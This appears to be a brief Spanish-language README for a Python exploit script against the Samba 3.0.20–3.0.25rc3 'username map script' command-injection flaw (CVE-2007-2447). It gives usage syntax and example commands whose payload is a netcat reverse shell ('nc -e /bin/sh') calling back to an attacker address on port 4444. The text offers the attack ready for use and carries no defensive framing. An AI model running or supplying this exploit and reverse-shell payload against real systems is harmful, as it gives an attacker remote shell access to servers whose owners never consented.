
Implementación en Python del exploit de RCE de 'Username' map script' para Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
Implementación en Python del exploit RCE 'Username' map script' para Samba 3.0.20 < 3.0.25rc3 (CVE-2007-2447).
python3 smbExploit.py <IP> <PORT> <PAYLOAD>
Ejemplos:
python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'
python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'
CVE-2007-2447: Vulnerabilidad de inyección de comandos remota
Samba 3.0.20 < 3.0.25rc3 - Ejecución de comandos 'Username' map script' (Metasploit)